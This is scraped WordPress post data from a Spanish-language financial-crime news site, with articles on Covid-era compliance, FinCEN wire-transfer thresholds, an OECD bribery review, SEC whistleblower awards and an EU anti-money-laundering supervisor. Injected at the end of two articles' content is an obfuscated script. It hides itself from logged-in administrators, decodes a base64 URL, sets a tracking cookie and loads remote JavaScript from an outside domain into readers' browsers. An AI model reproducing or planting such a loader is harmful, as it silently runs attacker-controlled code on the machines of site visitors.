inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. 